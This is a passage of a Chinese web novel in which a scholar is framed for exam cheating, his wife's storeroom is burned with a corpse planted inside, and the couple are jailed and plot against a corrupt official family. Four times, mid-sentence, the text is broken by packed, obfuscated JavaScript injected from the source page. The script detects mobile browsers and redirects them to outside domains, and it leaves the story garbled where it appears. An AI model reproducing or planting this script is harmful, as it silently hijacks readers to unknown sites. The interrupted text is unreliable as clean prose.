元修己喝了口鸡汤，听着妻子温柔体贴的话，不住点头，心里愈发得意：“有云儿这话我也就放心了。” 元修己喝了小两碗鸡汤，便站起来握着刘云的肩膀，在她额处亲了亲，说：“我去歇歇，云儿大病初愈，也要多注意休息。” “夫君去吧，我替你将书房收拾一下。”，刘云乖巧地点头，推着他出书房。 “书房有丫鬟们收拾，哪用得着你这主子亲自动手。” “我想亲自给夫君收拾，不行嘛？”，刘云抿着嘴，故意生气地哼了一声。 “行行行。”，元修己大笑，宠溺地捏捏她消瘦许多的脸颊，扭身往两人合住的院子去。 夫妻俩在元府下人们看来，已然是和好如初，殊不知独自待在书房里的刘云，此刻正嫌弃地擦着脸颊。 她仔细关好书房的门，快速回去书案上翻找着东西。 · 府学为官学，此次岁考一一参照着乡试，算是乡试模拟考，其严谨程度可想而知，开考前三日，书院大门便关上了，不允许任何人随意走动，攀谈。 今年是崔玉棠首次参加府学岁考，因为府试名次高，入学期间表现也好，所以被分到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14488334|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甲班考堂。 元修己，也在甲班考堂上。 他拱拱手，便与人擦肩而过。 一书生走过来问崔玉棠：“崔兄识得元兄？” 崔玉棠摇头：“不过点头之交。” 书生明了，惋惜地扭头走开了。 过不多时，第一场经试，开考。 三天转瞬而过，最后一门是策论，崔玉棠最擅长的便是策论，他展开考卷，慢悠悠研墨，几乎没怎么思考便开始落笔。 正当他写完了一页纸，欲翻页续写时，却忽然听到旁边传来桌案被用力推开的刺耳巨响，他扭头看去。 元修己面色难看，被监考的夫子抓住了一只手，周围同窗不约而同地抬头看去，元修己奋力挣脱，甚至不惜抬脚踹向年迈的夫子。 夫子被踹倒，更是气急，指着元修己勃然大怒道：“竖子嚣张！公然在岁考携题抄，被老夫抓到还恼羞成怒推搡老夫，好一个元家，好一个元修己！” 元修己感受着周围同窗们的目光，羞愤不已，恨不得钻地而去。 前面几门功课都老老实实考了，也就这最后一门策论，他夹带了从父亲书房里偷拿的题点进考堂，就这么好死不死地被监考的老东西发现了。 元修己百口莫辩，他干脆抓起桌案上的题抄想毁尸灭迹，可夫子却先他一步将那题抄抢了过来，并唤来了寻考的府兵。 他当着众多人的面，将那题抄打开，细看下眉头竟猛然一皱，似要杀人的目光投向了端坐得直直挺挺，一副事不关己模样的崔玉棠。 “崔玉棠，你站起来！”，夫人怒喝。 崔玉棠乍然听闻夫子喊，他无知无觉地站起来，作揖道：“夫子何事？” 夫子扬着手中题抄，冷笑道：“还敢问何事，你可能解释解释，为何全然是你字迹的题抄，会出现在元修己的手上？” 夫子一言，满考室的学子皆是一震，崔玉棠更是怀疑自己听错了，他略拱手，上前去，“夫子可能让学生一观？” 夫子将那张题抄递到他眼前，痛心疾首道：“老夫真是看错你了，枉你还是曲老的学生，此等行径简直侮辱了圣贤书，老夫定不会包庇你们二人！” 崔玉棠拧眉去看那张题抄，待看清上面的字时，浑身一顿，有种荒谬感。 这一篇关于“有感民生多艰”的策论题，是他上次同老师讨论过后，亲自交到老师手上批阅的。 他的文章，为何会出现在元修己的手上？ 崔玉棠百思不得其解。 他扭头朝元修己看去，却见原本还一脸慌张怒意的人，此刻却扬起了嘴角，对他露出一个充满恶意的笑。 崔玉棠面无表情地移开视线。 他对夫子拱手，解释道：“这篇文章确实是学生的，不过当时只给了学生的老师批阅，至于为何会出现在他人手上，学生也十分疑惑。” 夫子甩袖，并不听他狡言，当机立断道：“事情真相如何，自有府学查明，你二人此次岁考成绩皆作废，一切等水落石出再说！” 85. 第 85 章 府学岁试作弊，一旦坐实，是会成为一生的污点，虽罪不至剥除秀才功名，但却再无往上考的机会了。 秀才再往上考便是乡试，没有哪一位考官，会择选作弊的学子为举人，举人是能候官的，连岁考都能作弊，可见品性低劣，怎能做一名好官。 岁试后府学便放了冬假，崔玉棠去找总府教谕，却扑了空，他转又寻到教谕的府邸去，却被告知元家来帖子，教谕已前去赴约。 崔玉棠虽不愿先入为主怀疑总教谕，可此刻不免灰心，他忧心忡忡地往家走，打算翌日再去曲府，找老师问清楚。 余晚桃收了小乞丐送来的包袱，让人将小乞丐带到后门去，拿些棉衣吃食，再打赏几文铜板。 小乞丐脸蛋皲裂，被冻得红通通的，得了打赏，合着手鞠躬，千恩万谢后，才一溜烟往巷子里跑走了。 “谁送来的包袱？怎么还让小乞丐跑腿？”，贞娘将后门关上，嘀咕了一句。 余晚桃掂着手中包袱，笑说：“许是送包袱的人心善，让那小乞丐赚几文跑腿钱吧。” 贞娘叹了一声：“每年一入冬就得冻死不少乞丐，都习惯了。” 江南府还算富裕，只要户籍在官府登记了的，保底都能有一口饭吃，一张床板过冬，可也有好些是没户籍的黑户，那些人官府管不了，也就只能自力更生了。 余晚桃唏嘘了一声，拿着包袱回房去，却碰见书生心事重重地回来了。 她将包袱搁置一边，绕过屏风，问他：“书院里放冬假了？” “岁试完便放了。”，崔玉棠俯身，将肩膀的书箱放好，从里拿出一些生活用品，和笔墨纸砚，有好一沓废稿本打算扔了，可转念想想，还是仔细压在了抽屉里。 余晚桃将那折叠得整整齐齐的里衣放进柜子里，收拾出一个空位来放崔玉棠带回来的生活用品。 家里本来就有一套，这从书院带回来的，还要留着等明年开春再带去书院，省得重新采买，浪费银钱。 余晚桃道：“正好这两日准备开库房做年终盘点，你回来了我也能轻松些，不然那么多货，可得盘点到何时去。” 请的两位账房先生虽能帮忙，但年底的账目本身就多，余晚桃怕再让他们清点货物，会把账理乱，所以还得她亲自看着才成。 崔玉棠点头，应了好。 次日，崔玉棠写了一封信让余小器送去曲府，素里常悬挂在腰间的那枚象征着秀才身份的玉印被取了下来，搁置在抽屉里，与那沓废弃的文章稿纸放在一起。 晨起又下了雪，工坊的绣娘们陆陆续续来上工，待两位账房先生到了，余晚桃让他们将今年的收支都盘算清楚。 再过两日，工坊也要放冬假了，今年的账目得理清楚了，来年才好做计划。 她拿着库房钥匙，与崔玉棠一道往库房去。 手里的汤婆子刚灌了热水，此刻还烫得紧，她隔着一层衣袖将其拢在腹部位置，暖暖烘着身子，待进了库房，崔玉棠关上门挡去外面风雪，她才轻轻呼了一声，解去大氅。 崔玉棠将大氅接过来，与自己的挂到一旁去，并将一方缝了棉的布罩戴到余晚桃脸上，掩住口鼻。 库房里久不进人，灰尘堆积，掩着口鼻确实要好一些。 余晚桃眼尾弯了弯：“还是二郎想得周全。” “生意上我帮不到你许多，也就这会才有些用处罢了。”，崔玉棠自嘲，不经意间问道：“如果我不能再往上考了，你如何想？” 余晚桃挑眉：“怎忽然问这些？” 崔玉棠摇头，年底忙碌，还是莫让书院里的龃龉烦扰到自家娘子，他的文章只给过老师一人，至于如何会出现在元修己手上，恐要看余小器今日会给他带回来什么消息。 传道授业，师恩深重，若真相真是猜想的那样，他该如何抉择？ 崔玉棠心头极其复杂。 “二郎！”余晚桃喊他，愈发觉得此次书生从府学回来后心事变重了，她皱眉道：“想什么呢？” 崔玉棠摒去种种涌上心头的复杂情绪，展颜一笑：“只是在想书院里的课业，我们开始吧。” “若有事，万不能瞒着我。”，余晚桃仍旧不放心，强调了一句，才转头开始干活。 今年库房里的蚕丝大部分都消耗完了，清点下来，约只剩下二百斤，而明年最早一期蚕，五月份左右，这意味着目前的库存不足以支撑到明年头批蚕成熟。 怕是还要外购。 不过珍珠倒不用再外购了，到明年下半年，应该可以正式批量开采近海的养殖蚌，到时收获大量的珍珠，能省下一笔成本，刚好补回外购的蚕丝成本。 她目前的本钱盈余足够明年再开一家分铺，如果珍珠的产量够多，或许可以考虑开一间胭脂铺，卖一些珍珠粉，芦荟膏，天然植物唇脂等成本低但是适用人群广的保养品。 余晚桃将清点好的蚕丝放回去，目光忽然落在被风吹得呼呼作响的窗纸上，糊的双层窗纸，竟都破了不少。 “赶明儿得叫师傅过来重新把库房的窗纸糊一下。”，余晚桃道。 “行，趁着面前把院里的窗都加固一下。”崔玉棠将木箱搬回原位，弯腰捡起角落里的火折子，皱眉道：“谁往里扔的火折子？蚕丝易燃，若火折盖掉了，怕是要烧掉整个库房。” 余晚桃闻言，神色凝重，她接过那支火折子打量了一下，“庄子里需要用到火折子的只有厨房，可厨娘们根本不会到库房这边来。” 这支火折子出现得太诡异了。 余晚桃立刻道：“等会悄悄让人把库房里的货物搬到其他院里去，库房清空出来。” “我去寻几个信得过的人。”，崔玉棠看向那无故破了许多的窗纸，心里有一种不好的预感。 库房里的货物被紧急搬到了别院去，清空出来后，他们在库房的四个角落里均发现了一支火折子。 崔玉棠握着那几支火折子，沉声道：“年前这段时间大家辛苦些，轮流着守下夜，工钱按照双倍发放。” 待底下的人都领了活出去了，空落落的库房里只余下她们自家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14517129|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里人，余晚桃才将心里的猜测说出来。 “我们在府城开铺子不久，并没有积怨的同行，唯一称得上得罪的，也就只有元府了。” 窈儿闻言心里一慌：“可我们庄子里除了底下的绣娘，下人们，再没来过其他人了，难道是深更半夜时，潜进来的歹人？” 能悄无声息留下这几根火折子，对方想必是个身手了得的，若真要对她们动手，这如何防备得了。 余晚桃：“总之最近大家都小心些。” 对方心思后歹毒的，竟想一把火烧了她们的库房，冬日处处烧着炭盆和地暖，一旦走水极有可能会蔓延到其他院子，若发现不及时，后果可想而知。 余晚桃回房后便打开了小乞丐送过来的包袱，里面是一些账目和信件，她一一打开细读，越往下翻，心就往下沉一分，明明屋里地暖烧得很旺，却觉浑身都透起了阵阵寒意。 她迅速将所有的东西重新收回去，寻了个隐蔽的地方藏好，又回书案前，研墨写了一封信，照旧拿到后院，递给早已等候多时的小乞丐。 当天夜里，静谧的庄子忽然响起了震天的喊声，余晚桃被吵醒，腾地睁开眼，猛然坐起。 “走水了！走水了！” 漆黑的夜幕被冲天的火光映得恍若白昼，余晚桃白了脸色，连衣裳都来不及穿就起床往外跑。 崔玉棠也被吵醒。 听到外面杂乱的呼喊声后，忙不迭扯过衣裳穿好，而后一把将衣架上的大氅抱走，追上余晚桃，一边给她披上，一边快速道：“别急，先去看看什么情况！” 余晚桃脸颊被冻得生疼，她拢紧大氅，飞快道：“看火光的方向就是库房。” “库房我们已经清空了，按理说不可能还烧得起来。”，除非是在整个院子都洒上火油。 崔玉棠话音落下，二人便来到了库房前正对着的回廊边，一股火油味扑鼻而来。 竟真是被泼了火油！ 余小娃提着两桶水往熊熊燃烧的窗纸上泼，结果火苗哗地一下窜了出来，险些烧得他的眉毛。 崔玉棠一把将他扯过来。 “火油起火不能直接泼水，拿沙子或者——雪！快铲雪去！”，余晚桃抬高音量，四处张望着，从角落里找出平时铲雪的竹篾筐。 此时庄子里所有人都跑了过来，听到余晚桃的话，纷纷跑去找铲雪的竹篾筐，一筐接着一筐的雪往里扑，好在这处没人走动铲雪，积雪很厚，足够他们拿来灭这一场火。 将将天明，火才扑灭，库房被烧得只剩下几根大的横梁和木柱子，其余都成了黑炭，教扑进来灭火的雪埋着，混合着一股挥之不去的火油味。 “我进去看看。”，崔玉棠一脚踹开摇摇欲坠的门框，捂住口鼻，小心翼翼地走进库房里。 四处逡巡片刻，视线忽然定住，落在库房角落黑黝黝的一个耸起的物件上，他定目走近，待看分明是何物时，瞳孔骤然一紧，剧烈收缩。 ” 他呼吸停住，死死盯着已经被烧成漆黑的尸体看。 86. 第 86 章 “府衙来人了！” 一声高喊惊醒了崔玉棠，他腾地转身，就见几名身穿金边黑衣的衙役带着刀，踹开地上的残垣断壁走了进来。 他呼吸顿住，旋即上前，略拱手道：“几位官爷来得正好，此间库房早已被清空昨夜却突发大火，且伴着浓重的火油味，显然是有人蓄意放火，还请几位官爷查明真相。” 几位衙役见过崔玉棠，知道他是在府学里颇为得脸的秀才郎，也恭恭敬敬地回了礼：“崔郎君，我等也是接到消息才赶过来的，若真是有人蓄意放火，自然会把探查清楚，揪出罪魁祸首来。” “多谢几位官爷。”，崔玉棠侧开身，出了库房，快步走到窈儿身边，在她耳畔低语了一句。 窈儿倏地睁大眼，旋即转身离开此处，往庄子外跑。 “怎么了？”，余晚桃面露不解。 崔玉棠轻声道：“库房里有尸体。” 崔玉棠话音刚落，就听到里面抬高音量的惊喊声，下一刻两名衙役抬着具漆黑的尸体出来，那尸体是蜷缩着的，一看便是被活活烧死，形状凄惨。 院里人看清那尸体，被吓得不约而同往后退了好几步，面色惊恐，人群里哗地吵嚷开。 余晚桃倒吸了一口凉气，不敢置信道：“库房里怎么会有尸体？！” 一衙役冷声道：“这就要问你们了，是不是你们庄子里的下人？” 余晚桃本能摇头反驳，她很快镇定下来，让余小娃把庄子里的下人全部都集合过来，对着名册一一清点，最后显示无一遗漏。 余晚桃将名册呈于那名衙役：“我们府里所有人下人都在这了，一个不缺，这具尸体并非是我们庄子里的人。” 崔玉棠有条不紊道：“我们昨日清点库房时发现不知被谁扔了火折子进来，便立刻将所有的货物都转移了，还差人守夜，这火起得诡异，想来是有人故意陷害我们，还请官爷明察秋毫。” “事实如何不能仅凭你们一面之词，这尸体总是在你们这发现的，在事情还没查清楚之前，先随我们去府衙一趟吧。” 说得轻巧，这府衙一去，准是入了大狱，到时案子怎么查，还不是由着背后设计她们家的人谋算。 余晚桃冷冷地想着。 可也知此时由不得她们。 她转头看了崔玉棠一眼。 崔玉棠深深敛眸，对她点了一下头。 两人被逼无奈跟着衙役去了府衙，只简单登记了案件，就被关进了牢房里，且还是分开了关押的，崔玉棠在一层，余晚桃则被押着去了二层。 二层关押的都是一些被定了罪名，等待发落的犯人，牢房小小一间，只能容她侧身平躺，上面简单铺了些潮湿的稻草，四处黑漆漆的，唯一的光源便是通道两边悬挂着的壁灯。 余晚桃被推进来时，就险些被里面腐烂的臭味给熏晕过去，她扭头去看，那名狱卒已经拿着厚重的铁链绕了两圈，上锁后转身离开。 她轻轻呼着气息，挨着木柱边蹲了下来，撑着脑袋努力地让自己忽略周围的环境，尽快冷静下来。 那具尸体到底是谁？ 背后的人是否为元府？ 这一切都发生得太突然了，令人措手不及。 可仔细想想，早在之前似乎已有端倪，睚眦必报的元修己，不明目的的曲屠……对了！ 曲屠！ 余晚桃眼睛陡然发亮，她一把抓在木柱上，大声对外喊：“官爷！官爷！我有事情要说！” 在牢房里值守的狱卒都是凶狠面相的，本就不耐烦得紧，被人三吆四喝的喊，心情差到极点，拿着佩刀走过去，透过木柱一脚踹到余晚桃肩膀上。 “喊什么喊！催命呢！” 余晚桃忍着痛，一副谨小慎微的模样，诚惶诚恐地从怀里拿出自己的钱袋，并且头上珠钗也取了下来，爬到木柱边，哀求道：“官爷莫恼，能不能麻烦您帮忙给曲府的曲屠带一句话，这些都是报酬。” 那狱卒听闻有银子拿，脸上的不耐烦顷刻转变为贪婪，一把抓过余晚桃手上的钱袋和首饰。 将钱袋放在手里掂量着，估摸有十几两银子，狱卒才施舍般开口：“带什么话？” 余晚桃迫切道：“我手里有你想要的东西，这一句话转告给曲屠便是。” 狱卒啧了一声，没应也没拒绝，收起钱袋，扭头便走了。 被关押在余晚桃对面的那佝偻着背的男子见状嘲笑起来，自顾自道：“这些走狗，有银子就是娘，平时老子叫碗水都骂骂咧咧的。” 余晚桃抬眸看了对面一眼，没接话。 她在赌。 赌曲屠想要的东西，究竟有多重要。 与此同时，崔玉棠的牢房外，来了一意想不到的人。 元郡松身着褐色圆领常服，在狱卒恭维的伺候下，坦然自若地背手站着：“崔小郎君，想不到你我再次见面，会是在这种地方。” 崔玉棠身姿挺拔，面若冠玉，在昏暗牢房内显得格格不入，他拱手作揖，不卑不亢道：“元大人特意前来探望，学生惶恐。” 元郡松朗声道：“性子稳重，临危不惧，学问也好，若有人托举一番，崔郎君将来的科举路怕是走得极顺。” “大人抬举了。” “府学岁考一事，不知崔郎君有何想法？”，元郡松淡淡地道出自己此行的目的。 崔玉棠神色淡然：“学生并未做过的事，相信书院诸位学子定会还学生一个清白，此次蓄意纵火一案，亦如是。” 元郡松轻笑：“崔郎君可知，府衙二层牢房，关押的都是杀人越货的死囚犯？那的牢房可不似这的宽敞，仅余一侧身宽，且昏暗无光，人在其中与蛇鼠虫蚁同眠，食潲喝污。” 他缓缓走近牢房，压低声音道：“你说，余小娘子能挨几日？” 崔玉棠咬着牙，紧绷下颚，凌厉的目光直视着对面的人，须臾他露出一抹轻嘲：“元大人莫不是以为，自己能在江南府只手遮天？” 元郡松认真地摇头：“只手遮天做不到，不过办一两件纵火毁尸案还是有余力的。” 他背手转身，说道：“该怎么做崔郎君心里应该有数，本官年底公务繁忙，这便回了，若崔郎君想明白了，只管教狱卒传一声话就是。” “元郡松！”，崔玉棠恨恨道：“若我夫人有任何闪失，纵是死，我崔玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14545147|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棠也会拉上你元家垫背的，若不信你就试试。” 元郡松轻笑着，仿佛在听一个笑话，他迈步离开，悠然的声音落下：“总有少年妄想以己之力挑权贵，焉知白衣最轻贱，终是蜉蝣撼树。” 崔玉棠冷笑：“是吗？” 他缓缓道：“我大伯当初留下的东西可是引得宫里几位主子数次派人搜查，若我以此为条件，换你元家的命，应该十分划算。” 元郡松骤然扭头，面目狰狞得可怕，他咬牙切齿道：“那东西果然在你手上！” 崔玉棠笑着看他。 元郡松甩袖而去，吩咐狱卒：“看着他夫人，别让二层的狱卒弄死了。” “是。” —— 庄子里被衙役们搜了好几遍，好些东西都被摔碎，弄得满院狼藉，贵重些的全被那些衙役私吞去，下人们都被吓得全躲到了后厨去，任由着官府的人过来搜刮。 窈儿从外回来时，衙役们已经离开了。 余小器和余小娃从后厨钻出来，两人灰头土脸的，瞧见窈儿回来，像有了主心骨一般跑过去将衙役搜刮庄子财物的事说了。 窈儿气得浑身发抖，恨不得撕了那些该死的贪官，她瞧见两人皆是一脸的担忧，便宽慰道：“别担心，兄长让我去找了锦庄的祝少东家，他答应会将这个案子实情转达给文知府，兄长和晚桃姐姐会没事的。” 余小器愤怒道：“那些狗仗人势的衙役，把我们庄子糟蹋得不成样了，肯定是元家那些不要脸的在背后指使！” “总感觉不止是元家。”，窈儿仔细想着这段时间不对劲的地方，元家从闹出兄弟共妾的丑闻后就低调许多，元家记恨兄长拒绝了他们的招揽，扣下府学的报名文牒，后来有容县县令上书文知府。 这意味着他们和元家的恩怨在文知府那是过了明面的，若此次蓄意纵火的主凶真是元家人，那做得太明显了，元郡松浮沉官场这么多年，应该不会做这么蠢的事。 窈儿思及此，立刻站起来道：“我先去府衙里打探一下消息，你们在家里呆着别乱跑。” “我们一起去！”，余小娃急道：“那些衙役好像在找什么东西，可是没找到，我怕他们会再回来。” 窈儿思索片刻，快速道：“让府里下人们都先各自回家去吧，庄子里不要留人。” “那庄子关门吗？” “关！”，窈儿回房去收拾了细软，俩小少年跟着她去把府里下人遣散了，前头铺子和庄子都上了门锁，在靠近府衙的街上寻了个客栈落脚。 客栈内，窈儿将收拾出来的包袱打开，里面的小木盒安然无恙。 幸而晚桃姐姐将这东西放在了她这，而她又藏得隐蔽，没让那些衙役搜到。 虽不知这里面装着何物，可此刻看来，确关系着崔玉棠和余晚桃两人的性命，万万不能落入他人之手。 “窈儿姐，商会的曲公子不知怎的查到我们在这间客栈里，说得了东家的话，过来取东西，我没让他知道你住的哪一间。”，余小器蹑手蹑脚地猫进来。 他小声询问：“是这个盒子吗？” 窈儿倏地抓紧木盒，紧闭的唇一言不发。 87. 第 87 章 客栈外。 “曲公子，姐姐并未给我什么东西。”，窈儿十分为难道：“所以，我也不清楚姐姐她到底让你过来取的何物。” 余小器接着嚷道：“庄子里大火之后紧接着就发现了尸体，公子和东家被衙役带走了，哪里有时间交代给我们什么东西。” “小器，不得对曲公子无礼。”，窈儿轻声呵斥余小器，让他往后站着去，自己则以绢帕擦着眼角，声音有些哽咽地说：“我也实在不知怎么办了，人进了大牢，那些衙役又不给探视，曲公子可有办法让我见一见姐姐？兴许曲公子想要的东西是被她放在了别处。” 曲屠不忍见美人落泪，他温声安慰道：“窈儿姑娘莫急，我在府衙还有些人脉，也许能将崔郎君和余东家救出来。” 窈儿收了眼泪，大喜之余立刻便要给人跪下。 曲屠忙虚虚扶住她：“窈儿姑娘这般可折煞我了，若真要谢，等救出余东家，再请我吃杯酒便是。” 窈儿欣然应好。 待应付走曲屠，她扭头往客栈二楼看去，那处斜开着半扇窗，刘云静立其内，对她露出一抹笑容，随后轻轻抬手，掩上了窗。 刘云从包间出来时，正碰上两位客栈小二从窈儿定的房间中出来，神色严肃，对视低语几句，皆摇摇头，疾步离去。 她从容走出客栈，目不斜视地越过窈儿，上了马车。 客栈后门，曲屠听完手下的回话，面上的狠厉淡了几分，他拧着眉头，沉声道：“看来只能先将那两夫妻救出来。” “那元三公子那边？” 曲屠漠然道：“那个蠢货不用管，自有人收拾他。” “是。”，黑衣人小心翼翼问道：“取到东西后，那两人如何处理？” 他做了一个抹脖子的动作。 曲屠淡淡拂手：“拿到东西就撤，看在老爷子的份上，留他一命便是，左右崔家已不成气候，他一人也掀不起什么风浪。” “遵命。”，黑衣人领命离去。 曲屠压下眼底即将成事的兴奋，风度翩翩地往府衙去。 府衙外，窈儿静候多时。 面色威严的衙役把守着鸣冤鼓两侧，不耐烦地驱赶着上去问话的余小器。 余小器脸被气红，捡起地上的石头就要扔过去，结果被曲屠轻松捏住了手腕，那颗石子掉落地面，无声滚了滚。 曲屠俯视着他：“这颗石头砸过去，别说救你主子，就是你自己，也得进大牢里蹲几天。” 余小器气急败坏：“蹲就蹲！等我爹来了，将你们江南府衙都踏平了！” “口气不小，你爹也得有那本事才行。”，曲屠轻啧。 “我爹当然有本事！” 曲屠嗤笑，径直越过他来到府衙前，拱手温和道：“二位兄弟，行个方便，曲某受人所托，来问询华纱庄发现那具尸体的验尸结果。” 话音落下时，他袖里微动，递了几两碎银过去。 得了曲屠这个商会会长的好处，那衙役顷刻笑得谄媚，回道：“曲会长有所不知，那尸体运到了义庄时，上面来了话，让仵作先别验尸。” “这，好似不合规矩吧？” 衙役左右看看，见没其他人，才苦着脸小声道：“合不合规矩的不都是上面的人说了算嘛，我们哪里敢违背命令啊。” 曲屠挑眉，旋即笑道：“多谢告知。” · 大牢内暗无天日，不知时辰。 余晚桃趴在潮湿腥臭的草席上剧烈咳嗽着，浑浊肮脏的环境和紧张的情绪正在一步步摧毁着她的理智。 冬日里的牢房，连床御寒的被褥都没有给备，余晚桃硬生生挨了许久，如今脸颊滚烫，浑身却冷得瑟瑟发抖，整个人蜷缩在角落里。 就是这时，大牢通道外漏进来一缕光，两道身影背光而来。 余晚桃挣扎着爬起来，红得不正常的脸颊下，久不开口的嘴唇干裂渗血，她艰难地抬起头，看向来人。 “啧啧，余小娘子好生狼狈呀。” 余晚桃扬起嘴角，牵动了嘴角已经凝固的裂口，她猛吸了一口气，才有气无力道：“谁让狗官当道，不给老百姓活路呢。” 曲屠屈膝蹲下，颇为认同地点点头，说：“是啊，为政者不仁，才叫我们这些商户在夹缝中都艰难求存。” “曲公子既然来了，这些冠冕堂皇的就不必说了吧。”，余晚桃抬起无力的手臂，攀住木柱子，幽叹道：“我们夫妻只想过自己的平淡日子，并不想卷入朝廷的阴谋是非里。” 曲屠见她话里无奈，便说道：“东西给我，我保你们无恙。” “这买卖可不是这么做的。”，余晚桃抬眸注视着他，说：“你想要东西，得先让我看到诚意。” “放心，这个案子很快便会查结，牵扯不到你们。”，曲屠站起身，掸掸并无灰尘的衣袖，眸色从始至终的冷淡。 余晚桃没有应他，在高热的折磨下，意识都渐渐模糊了，像是过了很久，有数道脚步声传来，其中一道急促慌乱，紧接着她便被拥入了温暖的怀中。 余晚桃意识渐沉，在淡淡书墨香入鼻瞬间，放任自己昏睡过去。 再醒来时，入目便是熟悉的帐顶。 她迟钝地转了转眼睛，思绪开始重新连接上失去意识之前的事情。 看来曲屠的动作挺快。 “阿桃，你醒了！”，崔玉棠正端着药碗过来，见床上之人有了动静，立刻大步迈过去，坐到床边一手放下药碗，一手伸出放在自家娘子的额头上。 须臾，才重重放下心，哑声道：“还好退了热。” “二郎。”，余晚桃声音沙哑得厉害，喉咙也疼，她张了张嘴巴，勉强扯出一个渴字来。 崔玉棠忙不迭给她倒了一碗茶润喉咙，等余晚桃恢复了些，他忽而将身子倾过去，埋首在对方颈间，灼热的，滚烫的故意打在她颈侧，湿润划过皮肤。 崔玉棠在无声地落泪。 劫后余生，依旧后怕。 “二郎……”，余晚桃声音轻柔，伸手将身前的人抱住，脸颊贴在他的头发上蹭了蹭，安抚之意明显。 崔玉棠情绪失控，放任自己片刻便克制住了，他抬起脸，猩红的眼眶里血丝很重，清越的嗓音带着沉重的自责：“对不住你，累你受牢狱之苦。” 余晚桃摇头：“累我受牢狱之苦的是罪魁祸首。” “二郎，你知道狗咬狗吗？” 崔玉棠眸子微闪，想到从大牢里出来时曲屠的话，他倏地握住余晚桃的手，紧张追问：“你与他做了什么交易？” 余晚桃露出一抹狡黠的笑：“他不是想要崔家传闻里的宝物嘛，我就顺水推舟，只可惜时运不济，元郡松也想要这件宝物，且先一步以你我二人的性命要挟，将宝物从窈儿手上夺走了。” “他若想要，就自己去和元郡松斗吧。” 崔玉棠皱眉：“曲屠恐怕不会信。” “他会信。” 那天刘云和窈儿先出现在客栈，曲屠后才到，若东西真的不在余晚桃手上，只能说窈儿当日说了谎。 而她为何说谎，自是被人威胁了。 “这是铲除元家和解决曲屠的唯一机会。” 余晚桃将自己的计划说与书生听。 崔玉棠端过药碗，待吹凉了才递过去，看着她皱眉皱鼻地喝碗了，才温声道：“光是这一点，很难让文大人下定决心拔除盘踞江南府多年的权贵大族。” “除非激起众怒。”，崔玉棠将自家娘子宽散的衣襟系好，把人塞回被窝里，才悠悠道：“这众怒的众，还得是江南府地的寒门学子。” 悠悠众口难堵，要摁死元家，只能让事件扩大至无法遏制的地步，文人的力量是庞大的，他们以笔墨文章抨击这不公的世道，反抗肆意妄为的强权，左右着大魏的舆论风向。 元家的恶，必须是要触动了寒门学子科举的利益，才有可能引发朝廷里权贵和寒门官员的争议，让坐在龙椅上的那位感受到权贵与寒门之间科举资源的倾斜。 到那时，就必须要杀鸡儆猴。 而元家，势必成为被杀的鸡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596720|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你打算如何做？”，余晚桃警惕地环视了一周房间，才小声道：“你如果要利用文人舆论，我这正好有一些证据，应该用得上。” 崔玉棠目露疑惑。 余晚桃：“云姐儿在元修己书房里找到的，是他和曲屠的信件往来，还有一些其他学子的文章，谋取私利的契书。” 元修己那蠢货，被曲屠利用了都不知，背着元郡松与商会谋事，自以为聪明，却不知元家的弱点早被曲屠拿捏在手里。 科举作弊，收买考场搜子，陷害府学里与自己不对付的寒门学子，使其落榜，还掺和进了江南府的商会里，利用元郡松的官威，操控河运商船通行名额，从中谋利。 证据确凿，只差一个的时机。 “这个时机，在我。” “这个时机，在你。” 二人几乎同时开口，视线碰上时，默契地一笑。 崔玉棠俯身，在余晚桃的额头落下一吻，替人掖了掖被角：“娘子既替我搭好了台子，我自然不会辜负娘子的辛苦筹谋。” “此番，成事在我。” . 华纱庄被人蓄意纵火一案在府城里传开了，在官府张贴出来的公告里，只简单说明了那是纵火小贼的尸首，崔家夫妇受冤，得了二十两银子的安抚费。 好些百姓唏嘘不已。 而知晓内情的府学学子们却纷纷在各自圈子里议论，岁考作弊一事因曲山南曲儒士亲自作证，崔玉棠才洗去了冤屈，只是那时还未来得及通知苦主，对方便出了事。 